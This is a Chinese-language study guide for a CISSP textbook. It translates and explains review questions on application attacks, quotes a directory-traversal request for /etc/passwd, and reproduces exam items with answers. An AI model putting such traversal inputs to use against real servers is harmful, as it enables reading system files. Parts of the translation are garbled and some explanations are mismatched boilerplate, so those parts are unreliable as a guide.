完整性:数据要正确、可信、未被乱改

完整性不只是防黑客篡改,也包括防授权用户误操作。

教材原文段落

Be familiar with the various types of application attacks attackers use to exploit poorly written software. Application attacks are one of the greatest threats to modern computing. Attackers exploit buffer overflows, backdoors, time-of-check-to-time-of-use vulnerabilities, and rootkits to gain illegitimate access to a system. Security professionals must have a clear understanding of each of these attacks and associated countermeasures. Understand common web application vulnerabilities and countermeasures. As many applications move to the web, developers and security professionals must understand the new types of attacks that exist in this environment and how to protect against them.

The two most common examples are cross-site scripting (XSS) and SQL injection attacks. Written Lab 1. What is the major difference between a virus and a worm? 2. What are the actions an antivirus software package might take when it discovers an infected file? 3. Explain how a data integrity assurance package like Tripwire provides some secondary virus detection capabilities. 4. What controls may be used to protect against SQL injection vulnerabilities? Review Questions 1. Dylan is reviewing the security controls currently used by his organization and realizes that he lacks a tool that might identify abnormal actions taken by an end user. What type of tool would best meet this need? A. EDR B.

Integrity monitoring C. Signature detection D. UEBA 2. Tim is working to improve his organization's anti-malware defenses and would also like to reduce the operational burden on his security team.

中文直译 / 整理

熟悉攻击者利用编写不良的软件所使用的各种应用程序攻击类型。 应用程序攻 击是现代计算面临的最大威胁之一。 攻击者利用缓冲区溢出、后门、检查到使用 时间漏洞和根kit来非法获取系统访问权限。 安全专业人员必须清楚地了解每种 攻击及其相应的对策。 了解常见的 Web 应用程序漏洞和 对策。 随着越来越多的应用程序迁移到Web,开发人员和安全专业人员必须了 解此环境中存在的新型攻击及其防护方法。 最常见的两种例子是跨站脚本( XSS)和SQL注入攻击。 实验练习 1. 病毒和蠕虫的主要区别是什么? 2. 杀毒软件包在发现感染文件时可能会采取哪些操作? 3. 解释像 Tripwire 这样的数据完整性保护工具如何提供一些次要的病毒检 测功能。 4. 可以使用哪些措施来防范 SQL 注入漏洞? 复习问题 1. 迪伦正在审查其组织当前使用的安全控制措施,并意识到他缺少一种 可能识别终端用户异常行为的工具。 哪种类型的工具最能满足这一需求? A. EDR B. 完整性监控 C. 特征检测 D. UEBA 2. 蒂姆正在努力改进其组织的反恶意软件防御,并希望减轻安全团队的操作负 担。

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:完整性不只是防黑客篡改,也包括防授权用户误操作。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

完整性:完整性保证数据没有被未授权修改,并且仍然正确可信。

程序:程序是一步一步怎么做。

注入攻击:注入攻击把恶意输入当命令或查询执行。

跨站脚本 XSS:XSS 把脚本注入到网页,让浏览器执行。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“完整性:数据要正确、可信、未被乱改”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

哈希、数字签名、变更控制、输入校验常对应完整性。

Step-by-step、SOP 常对应 procedure。

SQL 注入、命令注入常靠输入验证、参数化查询防御。

输出编码、输入验证、CSP 可降低 XSS 风险。

防恶意代码要结合补丁、最小权限、检测、备份和用户培训。

遇到章末题时,不要只看选项。先判断题干在问定义、责任归属、最佳下一步,还是控制措施选择。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
完整性 完整性保证数据没有被未授权修改,并且仍然正确可信。
程序 程序是一步一步怎么做。
注入攻击 注入攻击把恶意输入当命令或查询执行。
跨站脚本 XSS XSS 把脚本注入到网页,让浏览器执行。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 62 / PDF P1456

第 1456 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

Which one of the following solutions would best meet his needs? A. UEBA B. MDR C. EDR D. NGEP 3. Carl works for a government agency that has suffered a ransomware attack and has lost access to critical data but does have access to backups. Which one of the following actions would best restore this access while minimizing the risk facing the organization? A. Pay the ransom. B. Rebuild systems from scratch. C. Restore backups. D. Install antivirus software. 4. What attack technique is often leveraged by advanced persistent threat groups but not commonly available to other attackers, such as script kiddies and hacktivists? A. Zero-day exploit B. Social engineering C. Trojan horse D.

SQL injection 5. John found a vulnerability in his code where an attacker can enter too much input and then force the system running the code to execute targeted commands. What type of vulnerability has John discovered? A. TOCTTOU B. Buffer overflow C. XSS D. XSRF 6. Mary identified a vulnerability in her code where it fails to check during a session to determine whether a user's permission has been revoked. What type of vulnerability is this?

中文直译 / 整理

以下哪种解决方案最能满足他的需求? A. UEBA B. MDR C. EDR D. NGEP 3. 卡尔就职于一家政府机构,该机构遭受了勒索软件攻击,导致无法访问关 键数据,但仍有备份可用。 以下哪项操作能最好地恢复访问权限,同时最小 化组织面临的风险? A. 支付赎金。 B. 从头重建系统。 C. 恢复备份。 D. 安装杀毒软件。 4. 哪种攻击技术通常被高级持续性威胁组织利用,但普通攻击者(如脚本 小子和黑客活动家)通常无法使用? A. 零日漏洞利用 B. 社会工程学 C. 特洛伊木马 D. SQL注入 5. 约翰在他的代码中发现了一个漏洞,攻击者可以输入过多的数据,从而 强制运行该代码的系统执行目标命令。 约翰发现了哪种类型的漏洞? A. TOCTTOU B. 缓冲区溢出 C. XSS D. XSRF 6. 玛丽在她的代码中发现了一个漏洞:在会话期间,代码未能检查用户权限 是否已被撤销。 这种漏洞属于什么类型?

小白解释

场景先行:开发团队要上线登录功能。安全不是上线前扫一下漏洞,而是从需求、设计、编码、测试、发布到运维都要参与。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:安全太晚介入,修复成本高,还可能把漏洞带到生产环境。

你作为负责人可以这样想:在 SDLC 早期做威胁建模、代码审查、测试和发布控制。

本页术语用人话说:

注入攻击:注入攻击把恶意输入当命令或查询执行。

跨站脚本 XSS:XSS 把脚本注入到网页,让浏览器执行。

常见误区:不要只靠上线前一次扫描;安全要嵌入整个生命周期。

读完后用一句话复述:如果我是应用安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1456 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是应用安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

SQL 注入、命令注入常靠输入验证、参数化查询防御。

输出编码、输入验证、CSP 可降低 XSS 风险。

排除法提醒:不要只靠上线前一次扫描;安全要嵌入整个生命周期。

本页术语拆解
注入攻击 注入攻击把恶意输入当命令或查询执行。
跨站脚本 XSS XSS 把脚本注入到网页,让浏览器执行。
学习单元 63 / PDF P1457

第 1457 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

A. Back door B. TOC/TOU C. Buffer overflow D. SQL injection 7. What programming language construct is commonly used to perform error handling? A. if…then B. case…when C. do…while D. try…catch 8. Fred is reviewing the logs from his web server for malicious activity and finds this request: http://www.mycompany.com/../../../etc/passwd. What type of attack was most likely attempted? A. SQL injection B. Session hijacking C. Directory traversal D. File upload 9. A developer added a subroutine to a web application that checks to see whether the date is April 1 and, if it is, randomly changes user account balances. What type of malicious code is this? A. Logic bomb B. Worm C. Trojan horse D.

Virus 10. Francis is reviewing the source code for a database-driven web application that his company is planning to deploy. He is paying particular attention to the use of input validation within that application. Of the characters listed below, which is most commonly used in SQL injection attacks? A. ! A.

中文直译 / 整理

后门 B. TOC/TOU C. 缓冲区溢出 D. SQL注入 7. 哪种编程语言结构常用于错误处理? A. 如果...那么 B. case...when C. do...while D. try...catch 8. 弗雷德正在检查其Web服务器的日志以寻找恶意活动,并发现此请求: http://www.mycompany.com/../../../etc/passwd。 最可能尝试的是哪种攻击? A. SQL注入 B. 会话劫持 C. 目录遍历 D. 文件上传 9. 一名开发者向Web应用程序添加了一个子程序,该程序检查日期是否为 4月1日,如果是,则随机更改用户账户余额。 这种恶意代码属于哪种类型? A. 逻辑炸弹 B. 蠕虫 C. 木马 D. 病毒 10. 弗朗西斯正在审查他公司计划部署的数据库驱动型Web应用程序的源代码。 他特别关注该应用程序中的输入验证。 在以下字符中,哪个最常用于SQL注入 攻击? A. !

小白解释

场景先行:凌晨监控告警:某台服务器开始大量外连。你不能先忙着写报告,也不能直接关全网。事件响应要按顺序做:确认、遏制、根除、恢复、复盘。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:步骤乱了会扩大损失,或者破坏证据。

你作为负责人可以这样想:先保全证据和控制影响,再清除原因并恢复业务。

本页术语用人话说:

程序:程序是一步一步怎么做。

日志:日志记录系统和用户活动,用于监控、审计和调查。

注入攻击:注入攻击把恶意输入当命令或查询执行。

恶意代码:恶意代码包括病毒、蠕虫、木马、勒索软件等。

常见误区:不要一上来就删除文件或重装系统;可能会破坏调查证据。

读完后用一句话复述:如果我是事件响应负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1457 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是事件响应负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

Step-by-step、SOP 常对应 procedure。

日志要保护完整性、时间同步和访问控制。

SQL 注入、命令注入常靠输入验证、参数化查询防御。

防恶意代码要结合补丁、最小权限、检测、备份和用户培训。

排除法提醒:不要一上来就删除文件或重装系统;可能会破坏调查证据。

本页术语拆解
程序 程序是一步一步怎么做。
日志 日志记录系统和用户活动,用于监控、审计和调查。
注入攻击 注入攻击把恶意输入当命令或查询执行。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 64 / PDF P1458

保护机制:分层、隐藏、加密和边界

单一控制不够,安全靠多个机制配合。

教材原文段落

B. & C. * D. ' 11. Katie is concerned about the potential for SQL injection attacks against her organization. She has already put a web application firewall in place and conducted a review of the organization's web application source code. She would like to add an additional control at the database level. What database technology could further limit the potential for SQL injection attacks? A. Triggers B. Parametrized queries C. Column encryption D. Concurrency control 12. What type of malicious software is specifically used to leverage stolen computing power for the attacker's financial gain? A. RAT B. PUP C. Cryptomalware D. Worm 13.

David is responsible for reviewing a series of web applications for vulnerabilities to cross-site scripting attacks. What characteristic should he watch out for that would indicate a high susceptibility to this type of attack? A. Reflected input B. Database-driven content C. .NET technology D. CGI scripts 14. Tom is investigating a security incident and found that the attacker was able to directly modify the contents of a system's memory. What type of application vulnerability would most directly facilitate this action? A. Rootkit B. & C. * D. ' 11.

中文直译 / 整理

凯蒂担心她的组织可能遭受SQL注入攻击。 她已经部署了Web应用防火 墙,并对组织的Web应用程序源代码进行了审查。 她希望在数据库层面增加 一项额外的控制措施。 哪种数据库技术可以进一步限制SQL注入攻击的可能 性? A. 触发器 B. 参数化查询 C. 列加密 D. 并发控制 12. 哪种恶意软件专门用于利用被盗的计算能力为攻击者谋取经济利益? A. RAT B. PUP C. Cryptomalware D. Worm 13. David 负责审查一系列 Web 应用程序 跨站脚本攻击的漏洞。 他应该注意什么特征,以判断系统是否极易受到此 类攻击? A. 反射输入 B. 数据库驱动的内容 C. .NET 技术 D. CGI 脚本 14. 汤姆正在调查一起安全事件,发现攻击者 able to directl y modif y s 的内容 y系统的内存 y。 什么 ype of 应用程序漏洞最直接地促成此操作? A. Rootkit

小白解释

场景先行:员工在家访问公司系统,流量要穿过家庭网络、互联网、防火墙、VPN、服务器。网络安全题就是让你判断问题发生在哪一层、用哪个控制放在什么位置。

这一页真正想让你理解的是:单一控制不够,安全靠多个机制配合。

把它放进公司里看,关键不是背定义,而是判断:不分层就会乱选设备:该加密的地方装防火墙,该监测的地方却只做访问控制。

你作为负责人可以这样想:先定位网络层次,再决定是分段、过滤、加密、检测还是阻断。

本页术语用人话说:

加密:加密把内容变成未授权者看不懂的形式。

程序:程序是一步一步怎么做。

防火墙:防火墙根据规则控制网络流量进出。

日志:日志记录系统和用户活动,用于监控、审计和调查。

常见误区:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

读完后用一句话复述:如果我是网络安全工程师,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“保护机制:分层、隐藏、加密和边界”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是网络安全工程师在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

Step-by-step、SOP 常对应 procedure。

防火墙不是万能;它常与 IDS/IPS、分段、日志一起使用。

日志要保护完整性、时间同步和访问控制。

SQL 注入、命令注入常靠输入验证、参数化查询防御。

排除法提醒:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

本页术语拆解
加密 加密把内容变成未授权者看不懂的形式。
程序 程序是一步一步怎么做。
防火墙 防火墙根据规则控制网络流量进出。
日志 日志记录系统和用户活动,用于监控、审计和调查。
注入攻击 注入攻击把恶意输入当命令或查询执行。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 65 / PDF P1459

政策、标准、程序、指南

高层原则、最低要求、操作步骤、建议做法要分清。

教材原文段落

B. Back door C. TOC/TOU D. Buffer overflow 15. When designing firewall rules to prevent IP spoofing, which of the following principles should you follow? A. Packets with internal source IP addresses don't enter the network from the outside. B. Packets with internal source IP addresses don't exit the network from the inside. C. Packets with public IP addresses don't pass through the router in either direction. D. Packets with external source IP addresses don't enter the network from the outside. 16. Bob is developing a database-driven website, and he is worried that end users will insert content onto the site that, when viewed by a third party, causes them to perform an undesirable action.

What type of attack is Bob attempting to defend against? A. SQL injection B. Cross-site scripting C. Buffer overflow D. Evil twin 17. What techniques are commonly used to protect against SQL injection attacks? (Choose all that apply.) A. User acceptance testing B. Metacharacter escaping C. Stored procedures D. Input validation 18. Which one of the following attacks allows an attacker to execute targeted commands against the database supporting a web application? A. SQL injection B. Transaction manipulation B.

中文直译 / 整理

后门 C. TOC/TOU D. 缓冲区溢出 15. 在设计防火墙规则以防止IP欺骗时,应遵循以下哪项原则? A. 源IP地址为内部地址的数据包不应从外部进入网络。 B. 源IP地址为内部地址的数据包不应从内部流出网络。 C. 源IP地址为公网地址的数据包不应在任一方向上通过路由器。 D. 具有外部源IP地址的数据包不会从外部进入网络。 16. Bob正在开发一个基于数据库的网站,他担心最终用户会在网站上插入内容,当 第三方查看时, 会导致他们 p执行一项不良操作。 Bob 所进行的攻击属于哪种类型? 试图防御的是什么? A. SQL注入 B. 跨站脚本 C. 缓冲区溢出 D. 恶意双胞胎 17. 常用哪些技术来防范SQL注入攻击? (选择所有适用的选项。 ) A. 用户验收测试 B. 元字符转义 C. 存储过程 D. 输入验证 18. 以下哪种攻击允许攻击者对支持Web应用程序的数据库执行目标命令? A. SQL注入 B. 事务操纵

小白解释

场景先行:员工在家访问公司系统,流量要穿过家庭网络、互联网、防火墙、VPN、服务器。网络安全题就是让你判断问题发生在哪一层、用哪个控制放在什么位置。

这一页真正想让你理解的是:高层原则、最低要求、操作步骤、建议做法要分清。

把它放进公司里看,关键不是背定义,而是判断:不分层就会乱选设备:该加密的地方装防火墙,该监测的地方却只做访问控制。

你作为负责人可以这样想:先定位网络层次,再决定是分段、过滤、加密、检测还是阻断。

本页术语用人话说:

程序:程序是一步一步怎么做。

防火墙:防火墙根据规则控制网络流量进出。

注入攻击:注入攻击把恶意输入当命令或查询执行。

常见误区:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

读完后用一句话复述:如果我是网络安全工程师,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“政策、标准、程序、指南”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是网络安全工程师在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

Step-by-step、SOP 常对应 procedure。

防火墙不是万能;它常与 IDS/IPS、分段、日志一起使用。

SQL 注入、命令注入常靠输入验证、参数化查询防御。

遇到章末题时,不要只看选项。先判断题干在问定义、责任归属、最佳下一步,还是控制措施选择。

排除法提醒:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

本页术语拆解
程序 程序是一步一步怎么做。
防火墙 防火墙根据规则控制网络流量进出。
注入攻击 注入攻击把恶意输入当命令或查询执行。
学习单元 66 / PDF P1460

第 1460 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

C. Cross-site scripting D. Parameter manipulation 19. Syed visited the desktop of a user who was experiencing system issues. He saw an error message that said his files were encrypted with a unique key for his computer and that he should click a button for further instructions. What type of malware infection is Syed most likely dealing with? A. Ransomware B. Logic bomb C. Virus D. Worm 20. Rhonda is looking for a software solution that would help her monitor end user activity for signs of account compromise. Which one of the following tools would best assist with this task? A. UEBA B. IPS C. EDR D. CASB C.

中文直译 / 整理

跨站脚本攻击 D. 参数操纵 19. Syed 访问了一位遇到系统问题的用户的桌面。 他看到一条错误消息,称 他的文件已被针对其计算机的唯一密钥加密,并提示他点击一个按钮以获取 进一步的指示。 Syed 最可能遭遇的是哪种恶意软件感染? A. 勒索软件 B. 逻辑炸弹 C. 病毒 D. 蠕虫 20. 罗达正在寻找一种软件解决方案,以帮助她监控最终用户活动,以发现 账户被入侵的迹象。 以下哪种工具最能协助完成此任务? A. UEBA B. IPS C. EDR D. CASB

小白解释

场景先行:员工在家访问公司系统,流量要穿过家庭网络、互联网、防火墙、VPN、服务器。网络安全题就是让你判断问题发生在哪一层、用哪个控制放在什么位置。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:不分层就会乱选设备:该加密的地方装防火墙,该监测的地方却只做访问控制。

你作为负责人可以这样想:先定位网络层次,再决定是分段、过滤、加密、检测还是阻断。

本页术语用人话说:

加密:加密把内容变成未授权者看不懂的形式。

入侵防御系统 IPS:IPS 可检测并主动阻断恶意流量。

日志:日志记录系统和用户活动,用于监控、审计和调查。

恶意代码:恶意代码包括病毒、蠕虫、木马、勒索软件等。

常见误区:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

读完后用一句话复述:如果我是网络安全工程师,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1460 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是网络安全工程师在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

IPS 放在线路中,误报可能影响可用性。

日志要保护完整性、时间同步和访问控制。

防恶意代码要结合补丁、最小权限、检测、备份和用户培训。

排除法提醒:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

本页术语拆解
加密 加密把内容变成未授权者看不懂的形式。
入侵防御系统 IPS IPS 可检测并主动阻断恶意流量。
日志 日志记录系统和用户活动,用于监控、审计和调查。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 67 / PDF P1461

章末总结与练习题

章末内容用来反查自己是否真的理解,而不是只背答案。

教材原文段落

Appendix A Answers to Review Questions

中文直译 / 整理

附录 A 复习题答案

小白解释

场景先行:你是公司的安全负责人,正在读第 1461 页这一组概念。老板不会问你背定义,而是问:这件事会不会影响业务、谁负责、要不要花钱、出了事能不能解释清楚。

这一页真正想让你理解的是:章末内容用来反查自己是否真的理解,而不是只背答案。

把它放进公司里看,关键不是背定义,而是判断:概念没放进业务场景,容易只背词,做题时不知道该选管理动作还是技术动作。

你作为负责人可以这样想:先确认业务目标和风险,再选控制措施,最后留下政策、审批、日志或证据。

如果这一页没有明显术语,就按“谁在做事、保护什么、怕什么、用什么控制、留下什么证据”来拆。

常见误区:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

读完后用一句话复述:如果我是安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“章末总结与练习题”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

遇到章末题时,不要只看选项。先判断题干在问定义、责任归属、最佳下一步,还是控制措施选择。

排除法提醒:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

本页术语拆解

本页没有识别到重点术语,按原文顺序理解即可。

学习单元 68 / PDF P1462

五大支柱与 CIA 三元组

先把安全目标分成机密性、完整性、可用性,再理解真实性和不可否认性。

教材原文段落

Chapter 1: Security Governance Through Principles and Policies 1. C. Hardware destruction is a violation of availability and possibly integrity. Violations of confidentiality include stealing passwords, eavesdropping, and social engineering. 2. B. The primary goals and objectives of security are confidentiality, integrity, and availability, commonly referred to as the CIA Triad. The other options are incorrect. A security infrastructure needs to establish a network's border perimeter security, but that is not a primary goal or objective of security.

AAA services are a common component of secured systems, which can provide support for accounting, but the primary goals of security remain the elements of the CIA Triad. Ensuring that subject activities are recorded is the purpose of auditing, but that is not a primary goal or objective of security. 3. B. Availability means that authorized subjects are granted timely and uninterrupted access to objects. Identification is claiming an identity, the first step of AAA services. Encryption is protecting the confidentiality of data by converting plaintext into ciphertext. Layering is the use of multiple security mechanisms in series. 4. D.

Security governance seeks to compare the security processes and infrastructure used within the organization with knowledge and insight obtained from external sources. The other statements are not related to security governance. 5. C. A strategic plan is a long-term plan that is fairly stable. It defines the organization's security purpose. It defines the security function and aligns it with the goals, mission, and objectives of the organization. The tactical plan is a midterm plan developed to provide more details on accomplishing the goals set forth in the strategic plan or can be crafted ad hoc based on unpredicted events.

An operational plan is a short-term, highly detailed plan based on strategic and tactical plans. It is valid or useful only for a short time. A rollback plan is a means to return to a prior state after a change does not meet expectations. 6. A, C, D, F. Acquisitions and mergers place an organization at an increased level of risk. Such risks include inappropriate information disclosure, data loss, downtime, and failure to achieve a sufficient return on

中文直译 / 整理

第1章:通过原则与政策实现安全治理 1. C. 硬件销毁违反了可用性,也可能违反完整性。 违反机密性的行 为包括窃取密码、窃听和社会工程学。 2. B. 安全的主要目标和宗旨是机密性、完整性和可用性,通常称为CIA三元 组。 其他选项均不正确。 安全基础设施需要建立网络的边界防护,但这并非 安全的主要目标或宗旨。 AAA服务是安全系统中的常见组件,可提供计费支 持,但安全的主要目标仍然是CIA三元组的要素。 确保主体活动被记录是审 计的目的,但这并非安全的主要目标或宗旨。 3. B. 可用性指授权主体能够及时且不间断地访问对象。 标识是声明身份,是 AAA服务的第一步。 加密是通过将明文转换为密文来保护数据的机密性。 分 层是在一系列中使用多个安全机制。 4. D. 安全治理旨在将组织内部使用的安全流程和基础设施与来自外部的知识和见解进行 比较 获得的信息。 其他陈述与安全治理无关。 5. C. 战略计划是一种长期且相对稳定的计划,它定义了组织的安全目标, 明确了安全职能,并使其与组织的目标、使命和宗旨保持一致。 战术计划是 一种中期计划,用于提供更详细的实施策略以完成战略计划中设定的目标, 或可根据不可预见的事件临时制定。

运营计划是一种短期、高度详细的计划, 基于战略和战术计划制定,仅在短期内有效或有用。 回滚计划是一种在变更 未达到预期效果时返回到先前状态的手段。 6. A、C、D、F。 收购和合并使组织面临更高的风险。 此类风险包括不当的 信息泄露、数据丢失、服务中断以及未能实现足够的投资回报

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:先把安全目标分成机密性、完整性、可用性,再理解真实性和不可否认性。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

安全治理:治理负责定方向、定责任、定监督方式。它不是配置防火墙,而是决定组织为什么要做安全、由谁负责、做到什么程度。

CIA 三元组:机密性、完整性、可用性是安全目标的三根主梁。

机密性:机密性让该看的人能看,不该看的人看不到。

完整性:完整性保证数据没有被未授权修改,并且仍然正确可信。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“五大支柱与 CIA 三元组”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

看到 governance,优先想高层责任、业务目标、策略、监督和持续改进。

泄露看机密性,篡改看完整性,中断/不可访问看可用性。

加密、访问控制、分类、培训都常用于保护机密性。

哈希、数字签名、变更控制、输入校验常对应完整性。

冗余、备份、BCP/DRP、抗 DoS、容量规划都对应可用性。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
安全治理 治理负责定方向、定责任、定监督方式。它不是配置防火墙,而是决定组织为什么要做安全、由谁负责、做到什么程度。
CIA 三元组 机密性、完整性、可用性是安全目标的三根主梁。
机密性 机密性让该看的人能看,不该看的人看不到。
完整性 完整性保证数据没有被未授权修改,并且仍然正确可信。
可用性 可用性保证授权用户需要时能及时使用系统和数据。
AAA 服务 AAA 常说认证、授权、记账,但完整链条还包括识别和审计。
授权 授权是认证之后决定你能访问什么、能做什么。
审计 审计记录主体行为,用于追责、复盘和取证。
学习单元 69 / PDF P1463

DAD、过度保护、真实性、不可否认性与 AAA

CIA 是目标,DAD 是失败表现,AAA 是访问控制和问责链。

教材原文段落

investment (ROI). Increased worker compliance is not a risk, but a desired security precaution against the risks of acquisitions. Additional insight into the motivations of inside attackers is not a risk, but a potential result of investigating breaches or incidents related to acquisitions. 7. C. Payment Card Industry Data Security Standard (PCI DSS) is a set of security standards and requirements designed to ensure the protection of sensitive credit card and debit card information. The other options are incorrect.

Information Technology Infrastructure Library (ITIL) was initially crafted by the British government for domestic use but is now an international standard, which is a set of recommended best practices for core IT security and operational processes, and is often used as a starting point for the crafting of a customized IT security solution. ISO 27000 is a family group of international security standards that can be the basis for implementing organizational security and related management practices. NIST Cybersecurity Framework (CSF) is designed for critical infrastructure and commercial organizations and consists of five functions: Identify, Protect, Detect, Respond, and Recover.

It is a prescription of operational activities that are to be performed on an ongoing basis for the support and improvement of security over time. 8. B. The security professional has the functional responsibility for security, including writing the security policy and implementing it. Senior management is ultimately responsible for the security maintained by an organization and should be most concerned about the protection of its assets. The custodian role is assigned to the person who is responsible for the tasks of implementing the prescribed protection defined by the security policy and senior management.

An auditor is responsible for reviewing and verifying that the security policy is properly implemented and that the derived security solutions are adequate. 9. A, B, C, E. The COBIT key principles are: Provide Stakeholder Value (C), Holistic Approach (A), Dynamic Governance System (E), Governance Distinct from Management (not listed), Tailored to Enterprise Needs (not listed), and End-to-End Governance System (B). The concept of maintaining authenticity and accountability are good security ideas, but not a COBIT key principle. 10. A, D. Due diligence is establishing a plan, policy, and process to protect the interests of an organization. Due care is practicing the individual

中文直译 / 整理

投资(ROI)。 员工合规性提升不是风险,而是针对并购风险所采取的 必要安全预防措施。 对内部攻击者动机的进一步了解不是风险,而是调 查与并购相关的违规或事件时可能获得的结果。 7. C. 支付卡行业数据安全标准(PCI DSS)是一套旨在确保敏感信用卡和借 记卡信息得到保护的安全标准和要求。 其他选项均不正确。 信息技术基础设 施库(ITIL)最初由英国政府为国内使用而制定,但现在已成为国际标准, 是一套针对核心IT安全和运营流程的推荐最佳实践,常被用作定制IT安全解 决方案的起点。 ISO 27000是一系列国际安全标准,可作为实施组织安全及 相关管理实践的基础。 NIST网络安全框架(CSF)专为关键基础设施和商业 组织设计,包含五个功能:识别、保护、检测、响应和恢复。 它是一套需要 持续执行的操作活动,以支持和提升长期的安全性。 8. B. 安全专业人员负有安全的职能责任,包括编写安全政策并实施该政策。 高级管理层对组织所维持的安全负有最终责任,应最关注其资产的保护。 保 管人角色指被指定负责执行安全政策和高级管理层所规定的保护措施的人员。

审计员负责审查和验证安全政策是否得到正确实施,以及由此产生的安全解 决方案是否充分。 9. A、B、C、E。 COBIT的关键原则包括:提供利益相关者价值(C)、整 体方法(A)、动态治理系统(E)、治理与管理相分离(未列出)、根据 企业需求定制(未列出)和端到端治理系统(B)。 维护真实性和问责性是 良好的安全理念,但不属于COBIT的关键原则。 10. A、D。 尽职调查是建立保护组织利益的计划、政策和流程。 尽责则是实践 个人

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:CIA 是目标,DAD 是失败表现,AAA 是访问控制和问责链。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

